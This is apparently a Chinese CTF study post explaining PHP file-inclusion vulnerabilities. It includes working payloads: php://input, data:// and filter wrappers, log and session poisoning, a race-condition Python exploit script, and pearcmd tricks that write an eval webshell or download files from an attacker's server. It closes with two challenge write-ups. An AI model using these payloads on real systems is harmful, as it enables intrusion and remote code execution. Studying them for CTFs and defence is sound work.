产生原因
这个漏洞产生的原因是
1.使用了文件包含函数不当,例如: required required_once, include ,include_once
2.包含函数里的文件变量是动态的,且客户端可以控制,被包含的文件就算不是php文件,里面如果有php代码,都会被执行
1,2两点结合,产生了文件包含漏洞
利用方法
先搭建一个基础环境 study.php
<?php
if(isset($_GET['file']))
{
$file=$_GET['file'];
include $file;
}
else
{
highlight_file(__FILE__);
}
?>
这里include 的文件变量可控,造成了包含漏洞,如何利用呢?
伪协议利用
使用php伪协议来读取文件,**原因: php在执行include(伪协议)时,PHP 会执行伪协议,如果有获取到数据,就会把它包含进来,如果其中含有php代码,就执行。**列举一些常用的伪协议
php协议
常见的有两种用法: —> php://input php://filter
php://input 是请求原始数据的只读流,可以把POST方式传递的数据按照php脚本来执行,因此构造payload,并用BP修改包
利用条件: allow_url_include=On (php.ini中可以设置) php5.2之后默认为off,payload:
/?file=php://input
可以看到,post传入的rce代码被成功执行
php://filter 用法: php://filter/ (parm1) =(parm2)/resoucre=(parm3)
参数 | 描述 |
---|---|
parm1 | 指定读取还是写入,读:read ,写:write,不指定默认为read |
parm2 | 指定过滤器(处理数据的方式) |
parm3 | 数据源(通常是文件名) |
常用过滤器
字符串过滤器
过滤器 | 描述 |
---|---|
string.rot13 | rot13加密数据源 |
string.toupper | 数据源转大写 |
string.tolower | 数据源转小写转换过滤器 |
如:
/?file=php://filter/read=string.rot13/resource=flag.php
转换过滤器
过滤器 | 描述 |
---|---|
convert.base64-encode | base64编码数据源 |
convert.base64-decode | base64解码数据源 |
convert.quoted-printable-encode | 将字符串编码为 Quoted-Printable 格式 |
convert.quoted-printable-decode | Quoted-Printable 格式解码为字符串 |
如:
/?file=php://filter/read=convert.base64-encode/resource=flag.php
编码转换过滤器
过滤器 | 描述 |
---|---|
convert.iconv.UTF-8.UTF-7 | 把utf-8编码的数据源转为utf-7编码 |
还可以转其他编码,格式为convert.iconv.原编码.新编码
如:
/?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php
data协议
利用条件: allow_url_include=On
data协议用于传输数据,可以传递rce代码,语法如下:
data://text/plain, 代码
data://text/plain;base64, base64编码后的代码
一般用第一种,如果对代码有严格过滤可用第二种
如:
/?file=data://text/plain,<?php system("cat flag.php");?>
file协议
file协议类似于资源管理器读取文件,需要知道文件的绝对路径,
用法:
file://路径
如
?file=file:///flag #读取根目录下的flag
phar协议
phar协议是用来读取phar文件的,也可以读取zip等压缩文件,读取压缩文件中的一个子文件****可能需要配合文件上传来使用,用法:
phar://路径/zip文件名/子文件名,如:
?file=phar://flag.zip/flag.php
phar协议可以用绝对路径或相对路径
zip协议
跟phar协议差不多,但是只能使用绝对路径,且最后的/要换为%23 ,如:
?file=zip://flag.zip%23flag.php #读取根目录下的flag.zip
日志包含
利用条件: 没有修改默认的日志存储路径,且日志文件可读
每访问一次网站,网站就把我们的访问的一些信息存入日志中,默认位置为
服务器 | 默认位置 |
---|---|
apache2 | /var/log/apache2/access.log |
nignx | /var/log/nignx/access.log |
我在ubuntu虚拟机测试的过程,就遇到了日志文件不可读的这个小坑,要修改文件权限,然后设置了ACL,赋予了www-data用户组(运行网络服务器(如Apache、Nginx等)的进程所在的组),读取日志文件所在路径的权限才成功,acl命令:
setfacl -m u:www-data:r-x /var/log/apache2
查看access.log,看看哪里可以利用
可以看到,记录了很多信息,其中红框就是我们http头部的user-agent信息,我们利用bp修改UA信息为rce代码,再把它包含进来,就能成功执行
可以看到,rce代码成功执行,注意:不要使用双引号,可能会被添加\来转义(php配置里的一个魔术方法)
会话文件包含
利用条件: 1.ession.auto_start=1或代码中有session_start()来开启会话 2.会话文件存储在默认位置且可读
先学习最简单的可利用情况,:1.代码中有session_start(); 2.代码中往$_SESSION数组传入数据
session基础知识
会话(Session)是指在客户端(通常是浏览器)和服务器之间建立的一个交互期间,服务器可以存储特定用户或客户端的信息,并在用户与服务器之间的多个页面请求之间保持这些信息,默认情况下会话功能关闭,如
如果session.atuo_start=1,则不用session_start()也能自动开启会话功能
会话文件默认存储位置为: /var/lib/php/sessions ,PHPSESSID可以打开bp或者就浏览器F12来查看
可以看到,生成了session文件,文件名即为sess_PHPSSESSID,但是在默认配置session.upload_progress.cleanup = on的情况下,php会清理session文件内容,里面为空,不能直接包含,如果代码中往$_SESSION数组中传数据,就会有内容
稍微改一下代码
<?php
if(isset($_GET['file'])&&isset($_GET['name']))
{
$file=$_GET['file'];
session_start();
$name=$_GET['name'];
$_SESSION['name']=$name;
include ($file);
}
else
{
highlight_file(__FILE__);
}
?>
构造payload /?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=hello
可以看到,文件中有了内容,是类似序列化字符串的数据,如果设置name的值为rce代码,包含进来就能利用,构造
/?file=/var/lib/php/sessions/sess_5dlu81pt877akai25rhilk2es4&name=<?php system('cat /flag');?>
在题目中,很少这么理想的情况,通常会 1.对会输入session的数据进行base64编码或其他处理 2 没有session_start()函数
base64编码
实验代码:study_session_64.php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<title></title>
<meta name="keywords" content="" />
<meta name="description" content="" />
<form action="study_session_b64.php" method="post">
名字: <input type="text" name="name">
<input type="submit" value="提交">
</form>
<?php
if (isset($_POST['name'])) {
$_SESSION['name'] = base64_encode($_POST['name']);
if (!empty($_SESSION['name'])) {
echo "<div class='res'><h3>success!<br><br>name:".base64_decode($_SESSION['name']);
}
if (isset($_GET['file'])) {
include($_GET['file']);
}
}
else
{
highlight_file(__FILE__);
}
?>
可以看到,输入session的数据会经过base64编码,显示数据时再解码,直接传入rce代码再包含,无法利用
那我们尝试用filer过滤器,base解码后包含,试试能不能成功
可以看到,结果中含有乱码,名字显示出来了,但rce代码没有执行成功,这是为什么?
原因是base64解码的问题,过滤器解码的是整个session文件的数据,不止被编码后的我们输入的name,此时session文件中存储的内容为:
name|s:28:"PD9waHAgc3lzdGVtKCdscycpOz8+"
但base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途,也就是说,base64解码只认识:A-Z、a-z、0-9、+、/、=
很明显,在session文件数据中,用 | : “” 不符合base64编码,base64在解码时会跳过这些非法字符,将合法字符拼接在一起然后解码,所以真正解码的内容是
names28PD9waHAgc3lzdGVtKCdscycpOz8+
base64编码字符串的特点就是长度是4的整数倍,且编码后长度变长,为原来字符串的三分之四
这上面的被解码内容长度明显不是4的整数倍,过滤器整体解码就会解为乱码,所以要想办法让它变成4的整数倍,后面的就是正常编码长度肯定是4的倍数,不用管,所以关键在于names28,这个长度为7
前面讲过session存储的是类似序列化的数据,所以28表示的是字符串长度,如果让后面的编码内容长度为100(三位数都行),这里就会变为names100,长度为8,可以正常解码,虽然names100可能解出来是乱码,但是后面rce的代码可以正常解码然后执行
原本的rce代码编码后只有28位,所以要加上一点内容让name编码后整体长度够100,需要72位的base64编码,也就是说再加上长度54的任意字符即可,需要改变命令时,这样计算长度不太方便,可以写个脚本
import base64
import random
import string
def generate_random_string(length):
characters = string.ascii_letters + string.digits
return ''.join(random.choice(characters) for _ in range(length))
def get_payload(tar):
length=(100-len(base64.b64encode(tar.encode('utf-8'))))*3//4
print(length)
random_str = generate_random_string(length)
return random_str+tar
tar="<?php system('ls');?>"
payload=get_payload(tar)
print(payload)
print(len(base64.b64encode(payload.encode('utf-8'))))
这样就可以任意修改rce代码,再生成payload
可以看到,后面的rce代码成功执行,之后就是修改命令读取flag即可
详细的讲解可以看这篇大佬的文章,讲的很详细:
没有session_start
如果没有session_start,php就无法在代码中产生session,默认的auto_start一般为0,这时该如何利用?
这时我们可以手动构造文件上传,php在5.4之后,允许我们在文件上传的同时,post传一个字段,PHP_SESSION_UPLOAD_PROGRESS,值任意,php这时就会自动创建会话,并往$_SESSION数组中写入数据(关于文件上传的进度)
session文件中就会有这些数据,如果PHP_SESSION_UPLOAD_PROGRESS的值是rce代码,包含进来后就可以执行,这涉及到一些php的配置,如
关键在于session.upload_progress.enabled,默认为On,就允许我们在文件上传的同时,post PHP_SESSION_UPLOAD_PROGRESS 来检查文件上传的进度,这里可以举一个php官方给的一个例子,稍作修改以便更好理解
form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> !--上传了PHP_SESSION_UPLOAD_PROGRESS,值为123
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
结果:
$SESSION数组中写入了新的内容,健名为upload_pogress_123,值为关于文件上传的一些数据,很明显。健名就是upload_progress和我们post的PHP_SESSION_UPLOAD_PROGRESS的值拼接而来,如果PHP_SESSION_UPLOAD_PROGRESS为rce代码,被序列化后后存在session文件中,**又因为session.use_strict_mode=0,我们还可以自己手动修改PHPSESSID,**从而知道了session文件的名字
但还有一个问题,session.upload_progress.cleanup = on,这是默认配置,表明php会在文件上传结束时删除session文件,我们再包含也没用,所以需要条件竞争,赶在文件被删除前包含利用
摘抄了大佬的py脚本来利用
import io
import sys
import requests
import threading
sessid = '123456'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://192.168.10.122/my/include/study.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat flag.php');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid},
)
def READ(session):
while True:
response = session.get(f'http://192.168.10.122/my/include/study.php/?file=../../../../lib/php/sessions/sess_{sessid}')
# print('[+++]retry')
#根据命令可能的结果来设置终止条件
if 'flag{' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
结果
实验成功,拿到flag
pearcmd包含
pearcmd
通常指的是PEAR(PHP Extension and Application Repository)的命令行工具,它是用于管理和操作PEAR包的命令行界面。PEAR是PHP的一个包管理系统,允许开发者方便地共享、安装和管理PHP代码库。
利用条件:1.php配置文件中 register_argc_argv=on(默认为off) 2.pearcmd.php存储在默认位置 3.配置了pearcmd工具
pearcmd在docker环境默认安装,默认路径: /usr/local/lib/php/pearcmd.php , 实验环境我是自己安装的pearcmd 路径为:/usr/share/php/pearcmd.php
前置知识
pearcmd.php是命令行工具,实战中一般是在web服务器访问,那该如何调用pearcmd?,这时就需要 register_argc_argv=on(默认为off),这个配置开启时,通过web服务传递的参数可以被解析为命令行参数,存放在$_SERVER[‘argv’]中,这如:
可以看到,argc存放的是参数个数,argv数组存放了所有的参数,而且各个参数之间通过 + 分割,当然放$_GET数组的参数还是按 & 分割的,又因为在pearcmd的源码中有:
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
所以如果包含执行pearcmd.php,就会把argv的数组中的每个变量解析为pear命令的参数,而argv数组中参数我们可以控制,就可以通过web访问来调用pear,执行恶意的pear命令,通常可以利用config-create(最常用),install,download,这三个命令,通过实验学习这三个命令的用法
基本思路就是,想办法包含pearcmd.php,通过传入的url参数执行pear命令
实验学习
直接拿study.php来实验即可,包含成功后打印,$SERVER['‘argv’]
(1)config-create:创建自定义配置文件
用法:
pear config-create rootpath filename
参数 | 描述 |
---|---|
rootpath | 生成的配置文件路径,会被写入配置文件,必须以/开头 |
filename | 配置文件名 |
构造 payload,<>会被浏览器url编码,所以要在bp上构造
?+config-create+/&file=/usr/share/php/pearcmd.php&/<?=eval($_GET[1]);?>+/var/www/html/shell.php
payload 分析:
1.&file=后面的东西是$_GET[‘file’],是我pearcmd.php的路径,把它包含进来并执行后,就会像上面提到的,会把这整个查询参数解析为命令行参数
2.解析后放入$_SERVER[‘argv’]的各个参数如下
所以这个payload相当于执行了这个命令
pear config-create /&file=/usr/share/php/pearcmd.php&/<?=eval($_GET[1]);?> /var/www/html/shell.php
查看shell.php,
虽然被写入了,但也写入了很多遍,执行命令时回显可能会比较乱,要查看源代码
(2)install
用法: (从网络上下载文件)
pear install http://[ipaddress]:[port]/path/filename
还可以通过–installroot,来指定下载环境,
payload,记得启动服务器上的apche或nignx
?+install+--installroot+&file=/usr/share/php/pearcmd.php&+http://192.168.10.199:8001/phpinfo.php
也是差不多的,file=用来包含的pearcmd.php,各个+之间就是用来执行pear命令的参数,相当于
pear install --installroot http://192.168.10.199:8001/phpinfo.php
可以看到,下载的文件存储路径有回显,虽然有install failed提示,但文件是成功下载了,包含一下试试,要把路径url编码一下
执行成功
(3)download 也是下载文件,与install不同的是不用指定下载路径,就下载在当前路径
命令:
pear download http://ipaddr:port/path/filename
按照上面的思路构造payload
?+download+http://192.168.10.199:8001/phpinfo.php&file=/usr/share/php/pearcmd.php
但是,
发生了报错,原因是它把我们后面的&file=/usr/share/php/也当作了路径读取,于是我们要做出改变,删掉了前面的phpinfo.php,在自己的服务器上构造
&file=/usr/share/php这些路径,恶意文件命名为pearcmd.php,这样就可以下载下来了,
下载成功,虽然有download fail的提示,但文件就在我们访问的那个目录下,
题目实战
newstar 2023 week2 Include 0。0
题目源码
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?> nope
可以看到过滤了base,rot,就是php 的filter 的base64已经string.rot13无法使用,而且题目提示flag在flag.php,
尝试了php input,没有回显,应该是allow_url_include=Off,那data协议也无法使用,那就看看filter还有没有能用的,
发现编码转换的过滤器可以使用,尝试用utf-8转utf-7,构造payload如下
?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php
根据之前的实验学习,flag已经出来了
newstar 2023 week3 Include
题目源码:
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
可以看到,这里过滤了很多关键词,log—>无法日志包含 ,session—>无法会话包含,filter,input—>无法使用php协议,data协议也被ban了,提示phpinfo.php有东西,感觉是pearcmd包含,先看一下,
果然,register_argc_argv=On,可以尝试使用pearcmd包含,
payload:
?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_GET['x']);?>+/var/www/html/shell.php
也是在bp上构造,记得在&file前加上 /,表示是绝对路径,
可以看到,写入成功,直接访问shell.php
输入命令,x=system(‘ls /’);
看到flag,查看一下
!
拿到flag